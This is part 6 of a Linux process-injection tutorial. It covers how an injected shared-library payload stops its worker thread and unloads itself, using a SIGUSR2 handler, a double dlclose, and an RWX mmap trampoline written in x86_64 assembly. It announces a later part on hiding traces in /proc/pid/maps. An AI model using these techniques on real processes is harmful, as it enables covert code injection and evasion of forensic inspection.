Step-by-Step Linux Process Injection Guide Part 6 - Unloading the Payload

1. Introduction

Part 5 left a payload running in the background without stopping the target program. At some point, that work must end and its shared library must be removed.

There are two ways this can happen. We can send SIGUSR2 to remove the library while the target keeps running, or we can let the target exit normally and clean up the worker as part of its shutdown. This article follows both paths through src/payload/common.c.

2. Two Opens, Two Closes

Before following either path, we need to understand why the library must be closed twice. The part of the program that loads shared libraries keeps a count of how many times each one has been opened. A library remains loaded until that count returns to zero.

In our case, the count is two. The injector opened the payload in Part 4, and the setup code in Part 5 opened it again to save a reference for later. Both calls refer to the same loaded library, but each one increases the count. Removing the library therefore requires two matching calls to dlclose().

The dlopen(3) man page says the same thing:

If the same shared object is opened again with dlopen(), the same object handle is returned. The dynamic linker maintains reference counts for object handles, so a dynamically loaded shared object is not deallocated until dlclose() has been called on it as many times as dlopen() has succeeded on it.

This is why the self-removal code later in this article closes the library twice.

3. The Unload Flow

The two shutdown paths begin differently but meet at the worker. In both cases, the worker is told to stop and is woken if it is waiting. What happens after the worker finishes depends on whether the target is staying alive or exiting.

The diagram below shows the complete flow:

flowchart TD
    worker["Background worker is running"]
    worker --> howStop{"How does it stop?"}
    howStop -->|SIGUSR2| signalRequest["Record the request and wake the worker"]
    howStop -->|"normal process exit"| normalExit["Ask the worker to stop and wake it"]
    signalRequest --> wake["Worker finishes its task and returns"]
    normalExit --> wake
    wake --> check{"Does the target keep running?"}
    check -->|yes| separateCode["Run the final steps from separate memory"]
    separateCode --> selfRemove["Close the library twice and end the worker"]
    check -->|no| joinWorker["Wait for the worker and close the wake-up channel"]

3.1 Self-Unload

The initialization sequence from Part 5 saved the second library reference that this path needs. We can now use both references to remove the payload without stopping the target.

The process begins when the target receives SIGUSR2. Linux can deliver this request in the middle of almost any operation, so the code that receives it must do as little as possible. This code is called a signal handler. It can only use a small set of operations that are safe when other work has been interrupted. Removing the library, finding functions, and creating memory are not among those safe operations, so they must happen later.

According to the signal-safety(7) man page:

An async-signal-safe function is one that can be safely called from within a signal handler. Many functions are not async-signal-safe. In particular, nonreentrant functions are generally unsafe to call from a signal handler.

…

To avoid problems with unsafe functions, there are two possible choices:

(a) Ensure that (1) the signal handler calls only async-signal-safe functions, and (2) the signal handler itself is reentrant with respect to global variables in the main program.

(b) Block signal delivery in the main program when calling functions that are unsafe or operating on global data that is also accessed by the signal handler.

Generally, the second choice is difficult in programs of any complexity, so the first choice is taken.

For this reason, the handler only records what should happen and writes one byte to the wake-up channel. Writing that byte is safe here. The worker performs the rest of the shutdown after it wakes:

void payload_signal_handler(int sig) {
    (void)sig;
    g_running = 0;
    g_signal_shutdown = 1;
    const char byte = 1;
    (void)write(g_pipe_fd[1], &byte, 1);
}

These few lines produce three results. First, the byte ends the worker’s current wait instead of making it sit until the time runs out:

void payload_sleep_ms(int ms) {
    ...
    poll(&pfd, 1, ms); // <- poll() will immediately return instead of timing out
    ...                // read the dummy data sent to the pipe, and return
}

Second, the worker’s next check tells it to leave its loop and finish its own cleanup:

bool payload_running(void) {
    return g_running != 0;   // 0 != 0 --> false
}

Third, the saved reason tells the surrounding code that the target is staying alive, so the library must remove itself:

static void *payload_thread_wrapper(void *arg) {
    void *ret = g_user_thread_func(arg);     // Our user-defined threaded function returns here

    if (g_signal_shutdown && g_self_handle)  // g_signal_shutdown && g_self_handle are non-zero
        payload_self_unload();               // payload_self_unload() is called

    return ret;
}

The worker is now ready to remove the library that contains its own code. It begins by closing both ends of the wake-up channel. This prevents the library’s normal exit code from trying to wait for the current worker when the final reference is closed. A worker cannot finish while it is waiting for itself to finish, so that would leave it stuck forever. Closing the channel tells the normal exit code that this cleanup has already been handled.

static void payload_self_unload(void) {
    ...
    close(g_pipe_fd[0]);
    close(g_pipe_fd[1]);
    g_pipe_fd[0] = g_pipe_fd[1] = -1;
    ...
}

Next, the worker finds the two routines needed for the final steps: one removes a library reference, and the other ends the worker.

static void payload_self_unload(void) {
    ...
    void *dlclose_addr = dlsym(RTLD_DEFAULT, "dlclose");
    void *exit_addr    = dlsym(RTLD_DEFAULT, "pthread_exit");
    if (!dlclose_addr || !exit_addr)
        return;
    ...
}

The difficult part is choosing where to run those final steps. The worker cannot remove its own library and then continue to the next line, because that next line is also part of the library being removed. Once the second reference is closed, the memory containing the payload’s code is no longer available.

The last few instructions must therefore live in a separate area of memory that remains available after the library is gone. This small block of temporary instructions is called a trampoline. Unlike the trampoline in Part 3, this one cannot rely on the injector because no injector is attached during self-removal. The worker creates a new page of memory that is not tied to any file and uses it for the final steps:

static void payload_self_unload(void) {
    ...
    long page_size = sysconf(_SC_PAGESIZE);
    void *page = mmap(NULL, page_size, PROT_READ | PROT_WRITE | PROT_EXEC,
                      MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
    if (page == MAP_FAILED)
        return;
    ...
}

On x86_64, the temporary instructions are:

/* Stack alignment */
and  rsp, -16
/* Calling dlclose(handle) twice */
movabs rbx, <handle>
movabs r12, <dlclose>
mov  rdi, rbx
call r12
mov  rdi, rbx
call r12
/* Calling pthread_exit(NULL) */
xor  edi, edi
movabs rax, <pthread_exit>
call rax

The first two calls remove the two library references described earlier. The final call ends the worker. Because all three calls run from the separate page, execution never tries to return to code that has already been removed.

Before jumping to that page, the worker marks itself as no longer needing another thread to wait for it. It then transfers control to the temporary instructions:

static void payload_self_unload(void) {
    ...
    pthread_detach(pthread_self());
    ((void (*)(void))page)();
}

After the second close, the shared library is gone and the target continues running. The temporary page remains in memory, however, because the worker cannot remove the page while it is still executing code from it. This is a limitation of the current design as of commit 0e6e2d8.

3.2 Process Exit

When the target process exits normally, cleanup is much simpler because the entire process is about to disappear. As part of its shutdown, the program automatically runs the library’s cleanup function. If the wake-up channel is still open, this function asks the worker to stop:

__attribute__((destructor))
void on_unload(void) {
    if (g_pipe_fd[0] != -1)
        payload_stop();
}

This path only applies to a normal exit. An immediate termination, such as SIGKILL, does not give the program a chance to run cleanup code.

The stop function records that the worker should finish and writes one byte to the wake-up channel. As before, this byte ends the worker’s current wait immediately:

void payload_stop(void) {
    g_running = 0;
    const char byte = 1;
    (void)write(g_pipe_fd[1], &byte, 1);
    ...
}

Unlike the SIGUSR2 path, this path does not ask the library to remove itself while the target is running. Once the worker finishes, the cleanup function waits for it to end and closes both ends of the wake-up channel:

void payload_stop(void) {
    ...
    pthread_join(g_thread, NULL);

    close(g_pipe_fd[0]);
    close(g_pipe_fd[1]);
    g_pipe_fd[0] = g_pipe_fd[1] = -1;
    ...
}

4. Conclusion

The payload now has a clean way to stop in both situations. If the target must keep running, SIGUSR2 wakes the worker and moves the final removal steps into separate memory. If the target is exiting normally, its cleanup simply wakes the worker, waits for it, and closes the wake-up channel.

The key rule is that the final instructions cannot remain inside the library they are removing. A separate page of memory solves that problem, although the page itself remains after the library is gone.

In Part 7, we will turn our attention to hide our traces in /proc/pid/maps, inspired by Github magisterquis/sneaky_remap

5. References

1. mathscantor/linworm (GitHub)
2. dlopen(3) (Linux man-pages)
3. signal-safety(7) (Linux man-pages)
4. magisterquis/sneaky_remap (Github)